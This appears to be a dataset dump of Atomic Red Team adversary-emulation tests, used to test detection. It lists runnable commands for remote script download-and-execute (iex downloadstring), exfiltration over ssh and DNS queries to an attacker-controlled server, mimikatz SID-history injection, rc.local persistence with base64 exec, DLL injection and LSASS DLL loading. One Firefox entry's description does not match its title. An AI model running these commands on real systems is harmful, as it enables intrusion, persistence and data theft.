deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1090.003: Proxy: Multi-hop Proxy
Test: Tor Proxy Usage - Debian/Ubuntu/FreeBSD
Platforms: linux
Executor: sh

Description:
This test is designed to launch the tor proxy service, which is what is utilized in the background by the Tor Browser and other applications with add-ons in order to provide onion routing functionality.
Upon successful execution, the tor proxy service will be launched. 


Command:
[ "$(uname)" = 'FreeBSD' ] && sysrc tor_enable="YES" && service tor start || sudo systemctl start tor


Cleanup:
[ "$(uname)" = 'FreeBSD' ] && service tor stop && sysrc -x tor_enable || sudo systemctl stop tor


Dependencies:
Tor must be installed on the machine
Atomic Red Team — T1090.003: Proxy: Multi-hop Proxy
Test: Tor Proxy Usage - MacOS
Platforms: macos
Executor: sh

Description:
This test is designed to launch the tor proxy service, which is what is utilized in the background by the Tor Browser and other applications with add-ons in order to provide onion routing functionality.
Upon successful execution, the tor proxy service will be launched. 


Command:
osascript -e 'tell application "Terminal" to do script "tor"'


Cleanup:
killall tor > /dev/null 2>&1


Dependencies:
Tor must be installed on the machine
Atomic Red Team — T1055.001: Process Injection: Dynamic-link Library Injection
Test: Process Injection via mavinject.exe
Platforms: windows
Executor: powershell

Description:
Windows 10 Utility To Inject DLLS.

Upon successful execution, powershell.exe will download T1055.dll to disk. Powershell will then spawn mavinject.exe to perform process injection in T1055.dll.
With default arguments, expect to see a MessageBox, with notepad's icon in taskbar.


Command:
$mypid = #{process_id}
mavinject $mypid /INJECTRUNNING "#{dll_payload}"
Stop-Process -processname notepad


Dependencies:
Utility to inject must exist on disk at specified location (#{dll_payload})
Atomic Red Team — T1055.001: Process Injection: Dynamic-link Library Injection
Test: WinPwn - Get SYSTEM shell - Bind System Shell using UsoClient DLL load technique
Platforms: windows
Executor: powershell

Description:
Get SYSTEM shell - Bind System Shell using UsoClient DLL load technique via function of WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/UsoDLL/Get-UsoClientDLLSystem.ps1')
Atomic Red Team — T1566.001: Phishing: Spearphishing Attachment
Test: Download Macro-Enabled Phishing Attachment
Platforms: windows
Executor: powershell

Description:
This atomic test downloads a macro enabled document from the Atomic Red Team GitHub repository, simulating an end user clicking a phishing link to download the file.
The file "PhishingAttachment.xlsm" is downloaded to the %temp% directory.


Command:
$url = 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1566.001/bin/PhishingAttachment.xlsm'
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest -Uri $url -OutFile $env:TEMP\PhishingAttachment.xlsm


Cleanup:
Remove-Item $env:TEMP\PhishingAttachment.xlsm -ErrorAction Ignore
Atomic Red Team — T1566.001: Phishing: Spearphishing Attachment
Test: Word spawned a command shell and used an IP address in the command line
Platforms: windows
Executor: powershell

Description:
Word spawning a command prompt then running a command with an IP address in the command line is an indicator of malicious activity.
Upon execution, CMD will be launched and ping 8.8.8.8.


Command:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
$macrocode = "   Open `"#{jse_path}`" For Output As #1`n   Write #1, `"WScript.Quit`"`n   Close #1`n   Shell`$ `"ping 8.8.8.8`"`n"
Invoke-MalDoc -macroCode $macrocode -officeProduct "#{ms_product}"


Cleanup:
Remove-Item #{jse_path} -ErrorAction Ignore


Dependencies:
Microsoft #{ms_product} must be installed
Atomic Red Team — T1176: Browser Extensions
Test: Chrome/Chromium (Developer Mode)
Platforms: linux, windows, macos
Executor: manual

Description:
Turn on Chrome/Chromium developer mode and Load Extension found in the src directory
Atomic Red Team — T1176: Browser Extensions
Test: Firefox
Platforms: linux, windows, macos
Executor: manual

Description:
Create a file called test.wma, with the duration of 30 seconds
Atomic Red Team — T1176: Browser Extensions
Test: Edge Chromium Addon - VPN
Platforms: windows, macos
Executor: manual

Description:
Adversaries may use VPN extensions in an attempt to hide traffic sent from a compromised host. This will install one (of many) available VPNS in the Edge add-on store.
Atomic Red Team — T1176: Browser Extensions
Test: Google Chrome Load Unpacked Extension With Command Line
Platforms: windows
Executor: powershell

Description:
This test loads an unpacked extension in Google Chrome with the `--load-extension` parameter. This technique was previously used by the Grandoreiro malware to load a malicious extension that would capture the browsing history, steal cookies and other user information. Other malwares also leverage this technique to hijack searches, steal passwords, inject ads, and more.

References:
https://attack.mitre.org/techniques/T1176/
https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/

Command:

# Chromium
$chromium =  "https://commondatastorage.googleapis.com/chromium-browser-snapshots/Win_x64/1153778/chrome-win.zip"

# uBlock Origin Lite to test side-loading
$extension = "https://github.com/uBlockOrigin/uBOL-home/releases/download/uBOLite_2024.11.25.1376/uBOLite_2024.11.25.1376.chromium.mv3.zip"

Set-Location "#{working_dir}"

Set-Variable ProgressPreference SilentlyContinue
Invoke-WebRequest -URI $chromium -OutFile "#{working_dir}\chrome.zip"
Invoke-WebRequest -URI $extension -OutFile "#{working_dir}\extension.zip"


Expand-Archive chrome.zip -DestinationPath "#{working_dir}" -Force
Expand-Archive extension.zip -Force

Start-Process .\chrome-win\chrome.exe --load-extension="#{working_dir}\extension\" -PassThru

Cleanup:
Set-Location "#{working_dir}"
Stop-Process -Name chrome -Force
Remove-Item .\chrome.zip, .\chrome-win, .\extension, .\extension.zip -Recurse -Force
Set-Variable ProgressPreference Continue
# T1204.003 - User Execution: Malicious Image

## Description from ATT&CK

> Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)
> 
> Adversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Resource Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: Aqua Security Cloud Native Threat Report June 2021)

[Source](https://attack.mitre.org/techniques/T1204/003)

## Atomic Tests

- [Atomic Test #1: Malicious Execution from Mounted ISO Image](#atomic-test-1-malicious-execution-from-mounted-iso-image)

### Atomic Test #1: Malicious Execution from Mounted ISO Image

Adversaries may rely on a user running a malicious image to facilitate execution

**Supported Platforms:** Windows

**auto_generated_guid:** `e9795c8d-42aa-4ed4-ad80-551ed793d006`

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.003/src/qbot-test.iso" -OutFile "$env:TEMP\qbot-test.iso")
Mount-DiskImage -ImagePath "$env:TEMP\qbot-test.iso"
$mountedpath = (Get-DiskImage -ImagePath "$env:TEMP\qbot-test.iso" | Get-Volume).DriveLetter
$finalpath = $mountedpath + ":\"
cd $finalpath
.\calc.exe.lnk
```

#### Cleanup Commands

```powershell
start-sleep -s 5
stop-process -Name "Calculatorapp" -Force 
dismount-diskimage -ImagePath "$env:TEMP\qbot-test.iso"
```
Atomic Red Team — T1204.003: User Execution: Malicious Image
Test: Malicious Execution from Mounted ISO Image
Platforms: windows
Executor: powershell

Description:
Adversaries may rely on a user running a malicious image to facilitate execution

Command:
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.003/src/qbot-test.iso" -OutFile "$env:TEMP\qbot-test.iso")
Mount-DiskImage -ImagePath "$env:TEMP\qbot-test.iso"
$mountedpath = (Get-DiskImage -ImagePath "$env:TEMP\qbot-test.iso" | Get-Volume).DriveLetter
$finalpath = $mountedpath + ":\"
cd $finalpath
.\calc.exe.lnk

Cleanup:
start-sleep -s 5
stop-process -Name "Calculatorapp" -Force 
dismount-diskimage -ImagePath "$env:TEMP\qbot-test.iso"
Atomic Red Team — T1037.004: Boot or Logon Initialization Scripts: Rc.common
Test: rc.common
Platforms: macos
Executor: bash

Description:
Modify rc.common

[Reference](https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html)


Command:
sudo echo osascript -e 'tell app "Finder" to display dialog "Hello World"' >> /etc/rc.common
Atomic Red Team — T1037.004: Boot or Logon Initialization Scripts: Rc.common
Test: rc.common
Platforms: linux
Executor: bash

Description:
Modify rc.common


Command:
filename='/etc/rc.common';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.common.original;fi
printf '%s\n' '#!/bin/bash' | sudo tee /etc/rc.common
echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMuY29tbW9uID4gL3RtcC9UMTAzNy4wMDQucmMuY29tbW9uJykK'))\"" | sudo tee -a /etc/rc.common
printf '%s\n' 'exit 0' | sudo tee -a /etc/rc.common
sudo chmod +x /etc/rc.common


Cleanup:
origfilename='/etc/rc.common.original';if [ ! -f $origfilename ];then sudo rm /etc/rc.common;else sudo cp $origfilename /etc/rc.common && sudo rm $origfilename;fi
Atomic Red Team — T1037.004: Boot or Logon Initialization Scripts: Rc.common
Test: rc.local
Platforms: linux
Executor: sh

Description:
Modify rc.local


Command:
filename='/etc/rc.local';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.local.original;fi
[ "$(uname)" = 'FreeBSD' ] && alias python3=python3.9 && printf '#\!/usr/local/bin/bash' | sudo tee /etc/rc.local || printf '#!/bin/bash' | sudo tee /etc/rc.local
echo "\npython3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMubG9jYWwgPiAvdG1wL1QxMDM3LjAwNC5yYy5sb2NhbCcpCgo='))\"" | sudo tee -a /etc/rc.local
printf 'exit 0' | sudo tee -a /etc/rc.local
sudo chmod +x /etc/rc.local


Cleanup:
origfilename='/etc/rc.local.original';if [ ! -f $origfilename ];then sudo rm /etc/rc.local;else sudo cp $origfilename /etc/rc.local && sudo rm $origfilename;fi
Atomic Red Team — T1560.002: Archive Collected Data: Archive via Library
Test: Compressing data using GZip in Python (FreeBSD/Linux)
Platforms: linux
Executor: sh

Description:
Uses GZip from Python to compress files


Command:
which_python=`which python || which python3`
$which_python -c "import gzip;input_file=open('#{path_to_input_file}', 'rb');content=input_file.read();input_file.close();output_file=gzip.GzipFile('#{path_to_output_file}','wb',compresslevel=6);output_file.write(content);output_file.close();"


Cleanup:
rm #{path_to_output_file}


Dependencies:
Requires Python
Atomic Red Team — T1560.002: Archive Collected Data: Archive via Library
Test: Compressing data using bz2 in Python (FreeBSD/Linux)
Platforms: linux
Executor: sh

Description:
Uses bz2 from Python to compress files


Command:
which_python=`which python || which python3`
$which_python -c "import bz2;input_file=open('#{path_to_input_file}','rb');content=input_file.read();input_file.close();bz2content=bz2.compress(content,compresslevel=9);output_file=open('#{path_to_output_file}','w+');output_file.write(str(bz2content));output_file.close();"


Cleanup:
rm #{path_to_output_file}


Dependencies:
Requires Python
Atomic Red Team — T1560.002: Archive Collected Data: Archive via Library
Test: Compressing data using zipfile in Python (FreeBSD/Linux)
Platforms: linux
Executor: sh

Description:
Uses zipfile from Python to compress files


Command:
which_python=`which python || which python3`
$which_python -c "from zipfile import ZipFile; ZipFile('#{path_to_output_file}', mode='w').write('#{path_to_input_file}')"


Cleanup:
rm #{path_to_output_file}


Dependencies:
Requires Python
Atomic Red Team — T1560.002: Archive Collected Data: Archive via Library
Test: Compressing data using tarfile in Python (FreeBSD/Linux)
Platforms: linux
Executor: sh

Description:
Uses tarfile from Python to compress files


Command:
which_python=`which python || which python3`
$which_python -c "import tarfile; output_file = tarfile.open('#{path_to_output_file}','w'); output_file.add('#{path_to_input_file}'); output_file.close()" 


Cleanup:
rm #{path_to_output_file}


Dependencies:
Requires Python
Atomic Red Team — T1048: Exfiltration Over Alternative Protocol
Test: Exfiltration Over Alternative Protocol - SSH
Platforms: macos, linux
Executor: sh

Description:
Input a domain and test Exfiltration over SSH

Remote to Local

Upon successful execution, sh will spawn ssh contacting a remote domain (default: target.example.com) writing a tar.gz file.


Command:
ssh #{domain} "(cd /etc && tar -zcvf - *)" > ./etc.tar.gz
Atomic Red Team — T1048: Exfiltration Over Alternative Protocol
Test: Exfiltration Over Alternative Protocol - SSH
Platforms: macos, linux
Executor: sh

Description:
Input a domain and test Exfiltration over SSH

Local to Remote

Upon successful execution, tar will compress /Users/* directory and password protect the file modification of `Users.tar.gz.enc` as output.


Command:
tar czpf - /Users/* | openssl des3 -salt -pass #{password} | ssh #{user_name}@#{domain} 'cat > /Users.tar.gz.enc'
Atomic Red Team — T1048: Exfiltration Over Alternative Protocol
Test: DNSExfiltration (doh)
Platforms: windows
Executor: powershell

Description:
DNSExfiltrator enables the transfer (exfiltration) of a file over a DNS request covert channel. This is basically a data leak testing tool allowing to exfiltrate data over a covert channel.
!!! Test will fail without a domain under your control with A record and NS record !!! 
See this github page for more details - https://github.com/Arno0x/DNSExfiltrator


Command:
Import-Module "#{ps_module}"
Invoke-DNSExfiltrator -i "#{ps_module}" -d #{domain} -p #{password} -doh #{doh} -t #{time} #{encoding}


Dependencies:
DNSExfiltrator powershell file must exist on disk at specified location (#{ps_module})
Atomic Red Team — T1048: Exfiltration Over Alternative Protocol
Test: Exfiltrate Data using DNS Queries via dig
Platforms: macos, linux
Executor: bash

Description:
This test demonstrates how an attacker can exfiltrate sensitive information by encoding it as a subdomain (using base64 encoding) and 
making DNS queries via the dig command to a controlled DNS server.


Command:
dig @#{attacker_dns_server} -p #{dns_port} $(echo "#{secret_info}" | base64).google.com


Dependencies:
dig command
Atomic Red Team — T1134.005: Access Token Manipulation: SID-History Injection
Test: Injection SID-History with mimikatz
Platforms: windows
Executor: command_prompt

Description:
Adversaries may use SID-History Injection to escalate privileges and bypass access controls. Must be run on domain controller


Command:
#{mimikatz_path} "privilege::debug" "sid::patch" "sid::add /sid:#{sid_to_inject} /sam:#{sam_account_name}" "exit"


Cleanup:
#{mimikatz_path} "sid::clear /sam:#{sam_account_name}" "exit"


Dependencies:
Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})
Atomic Red Team — T1543.001: Create or Modify System Process: Launch Agent
Test: Launch Agent
Platforms: macos
Executor: bash

Description:
Create a plist and execute it


Command:
if [ ! -d ~/Library/LaunchAgents ]; then mkdir ~/Library/LaunchAgents; fi;
sudo cp #{path_malicious_plist} ~/Library/LaunchAgents/#{plist_filename}
sudo launchctl load -w ~/Library/LaunchAgents/#{plist_filename}


Cleanup:
sudo launchctl unload ~/Library/LaunchAgents/#{plist_filename}
sudo rm ~/Library/LaunchAgents/#{plist_filename}


Dependencies:
The shared library must exist on disk at specified location (#{path_malicious_plist})
Atomic Red Team — T1543.001: Create or Modify System Process: Launch Agent
Test: Event Monitor Daemon Persistence
Platforms: macos
Executor: bash

Description:
This test adds persistence via a plist to execute via the macOS Event Monitor Daemon. 


Command:
sudo cp #{script_location} #{script_destination}
sudo touch /private/var/db/emondClients/#{empty_file}


Cleanup:
sudo rm #{script_destination}
sudo rm /private/var/db/emondClients/#{empty_file}
Atomic Red Team — T1543.001: Create or Modify System Process: Launch Agent
Test: Launch Agent - Root Directory
Platforms: macos
Executor: bash

Description:
Create a plist and execute it


Command:
sudo cp #{path_malicious_plist} /Library/LaunchAgents/#{plist_filename}
launchctl load -w /Library/LaunchAgents/#{plist_filename}


Cleanup:
launchctl unload /Library/LaunchAgents/#{plist_filename}
sudo rm /Library/LaunchAgents/#{plist_filename}
sudo rm /tmp/T1543_001_atomicredteam.txt


Dependencies:
/Library/LaunchAgents must exist

The shared library must exist on disk at specified location (#{path_malicious_plist})
Atomic Red Team — T1218.010: Signed Binary Proxy Execution: Regsvr32
Test: Regsvr32 local COM scriptlet execution
Platforms: windows
Executor: command_prompt

Description:
Regsvr32.exe is a command-line program used to register and unregister OLE controls. Upon execution, calc.exe will be launched.


Command:
#{regsvr32path}\#{regsvr32name} /s /u /i:"#{filename}" scrobj.dll


Dependencies:
Regsvr32.sct must exist on disk at specified location (#{filename})
Atomic Red Team — T1218.010: Signed Binary Proxy Execution: Regsvr32
Test: Regsvr32 remote COM scriptlet execution
Platforms: windows
Executor: command_prompt

Description:
Regsvr32.exe is a command-line program used to register and unregister OLE controls. This test may be blocked by windows defender; disable
windows defender real-time protection to fix it. Upon execution, calc.exe will be launched.


Command:
#{regsvr32path}\#{regsvr32name} /s /u /i:#{url} scrobj.dll
Atomic Red Team — T1218.010: Signed Binary Proxy Execution: Regsvr32
Test: Regsvr32 local DLL execution
Platforms: windows
Executor: command_prompt

Description:
Regsvr32.exe is a command-line program used to register and unregister OLE controls. Upon execution, calc.exe will be launched.


Command:
IF "%PROCESSOR_ARCHITECTURE%"=="AMD64" (C:\Windows\syswow64\regsvr32.exe /s #{dll_name}) ELSE ( #{regsvr32path}\#{regsvr32name} /s #{dll_name} )


Dependencies:
AllTheThingsx86.dll must exist on disk at specified location (#{dll_name})
Atomic Red Team — T1218.010: Signed Binary Proxy Execution: Regsvr32
Test: Regsvr32 Registering Non DLL
Platforms: windows
Executor: command_prompt

Description:
Replicating observed Gozi maldoc behavior registering a dll with an altered extension


Command:
#{regsvr32path}\#{regsvr32name} /s #{dll_file}


Cleanup:
#{regsvr32path}\#{regsvr32name} /U /s #{dll_file}


Dependencies:
Test requires a renamed dll file
Atomic Red Team — T1218.010: Signed Binary Proxy Execution: Regsvr32
Test: Regsvr32 Silent DLL Install Call DllRegisterServer
Platforms: windows
Executor: command_prompt

Description:
Regsvr32.exe is a command-line program used to register and unregister OLE controls. Normally, an install is executed with /n to prevent calling DllRegisterServer.

Command:
#{regsvr32path}\#{regsvr32name} /s /i "#{dll_name}"


Dependencies:
AllTheThingsx86.dll must exist on disk at specified location (#{dll_name})
Atomic Red Team — T1547.008: Boot or Logon Autostart Execution: LSASS Driver
Test: Modify Registry to load Arbitrary DLL into LSASS - LsaDbExtPt
Platforms: windows
Executor: powershell

Description:
The following Atomic will modify an undocumented registry key that may be abused to load a arbitrary DLL into LSASS. 

Upon execution, the registry key will be modified and a value will contain the path to the DLL. 
Reference: https://blog.xpnsec.com/exploring-mimikatz-part-1/ and source https://github.com/oxfemale/LogonCredentialsSteal
Note that if any LSA based protection is enabled, this will most likely not be successful with LSASS.exe loading the DLL.


Command:
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS -Name LsaDbExtPt -Value "#{dll_path}"


Cleanup:
Remove-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS" -Name "LsaDbExtPt" -ErrorAction Ignore | Out-Null


Dependencies:
lsass_lib.dll must exist on disk at specified location (#{dll_path})